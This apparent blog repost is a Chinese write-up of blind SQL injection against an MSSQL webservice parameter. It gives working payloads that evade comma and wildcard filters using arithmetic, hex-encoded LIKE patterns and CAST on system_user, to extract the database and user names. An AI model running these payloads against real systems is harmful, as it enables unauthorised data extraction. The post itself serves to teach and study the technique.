背景介绍:注入点是一个webservice接口,想要获得当前的数据库名或当前用户名
首先对参数pid进行常规测试:
pid改为 2 and 1=1
返回异常,进行闭合等操作也无法成功,无法执行复杂的语句。
尝试改为 2-0
返回正常,改为 2-1
返回了和 1
一样的结果,证明可以进行运算。
判断下数据库名长度: 2-len(db_name())+5
返回正常:
证明当前数据库名长度为5。
当我想用常规操作 substring(db_name(),1,1)
的方法进行判断数据库名时,发现逗号无法使用。
这里不清楚是网站做了限制,还是这里接口对逗号不支持。
想起来见过 mysql 可以绕过逗号的限制: substr(database(), 1,1)
可以改写成 substr(database() from 1 for 1)
。
网上却没有找到mssql类似的方法,一时陷入困境。请教了群里的朋友,得知mssql和oracle不支持这种方式。
不过大家给出了一些方法:
使用like模糊查询,假设 tmp='admin'
,在mssql中 tmp like '[a-z]____'
会成立,另外也可以 tmp like 'a%'
。
我经过本地测试,发现mssql中 tmp like '[a-z]%'
也是可以的
但后续测试发现目标中select from和select where不能使用,方括号、百分号、下划线、单引号无法正常使用。
单引号可以用双引号替代,但是方括号、百分号和下划线无法绕过。
经过查阅网上资料,怀疑是xml中的特殊字符需要进行unicode编码。
把[]替换为 []
%替换为 %
_替换为 _
依然无法成功。
思考了一下注入技巧,想起来以前注入时候进行的进制转换。
在mssql本地测试环境进行测试:
select 1 where 'admin' like 'a%';
返回1
select 1 where 'admin' like 0x6125;
返回1(0x6125为a%的16进制)
证明进制转换可行,但我到注入目标中测试时,判断system_user失败了
继续本地测试:
select system_user;
返回user_18_a7540
select 1 where system_user like 'u%';
返回1
select 1 where system_user like 0x7525;
失败
由此可见,如果mssql中如果包含了system_user这种系统函数,就不能like 16进制的值了。
由于对mssql接触不多,上网学习了一下mssql的函数
本地测试一下cast函数能否绕过这个限制:
select 2-(case when(cast(111 as varchar(3)) like 111) then 1 else 0 end);
返回1
select 2-(case when(cast(system_user as varchar(100)) like 'u%') then 1 else 0 end);
返回1
select 2-(case when(cast(system_user as varchar(100)) like 0x7525) then 1 else 0 end);
返回1
成功突破了系统函数判断中不能like 16进制值的限制
我们到注入目标测试一下:
2-(case when(cast(system_user as varchar(100)) like 0x5b612d7a5d25) then 1 else 0 end)
返回正常(0x5b612d7a5d25为[a-z]%的16进制)
至此成功绕过限制
以上所述就是小编给大家介绍的《Mssql 注入记录》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- SQL注入常规Fuzz全记录
- Angular 4 依赖注入教程之二 组件中注入服务
- 服务端注入之Flask框架中服务端模板注入问题
- 服务器端电子表格注入 - 从公式注入到远程代码执行
- SQL注入测试技巧TIP:再从Mysql注入绕过过滤说起
- 手机抓包+注入黑科技HttpCanary——最强大的Android抓包注入工具
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Python自然语言处理
(英)伯德、(英)克莱因、(美)洛普 / 东南大学出版社 / 2010-6 / 64.00元
《Python自然语言处理(影印版)》提供了非常易学的自然语言处理入门介绍,该领域涵盖从文本和电子邮件预测过滤,到自动总结和翻译等多种语言处理技术。在《Python自然语言处理(影印版)》中,你将学会编写Python程序处理大量非结构化文本。你还将通过使用综合语言数据结构访问含有丰富注释的数据集,理解用于分析书面通信内容和结构的主要算法。 《Python自然语言处理》准备了充足的示例和练习,......一起来看看 《Python自然语言处理》 这本书的介绍吧!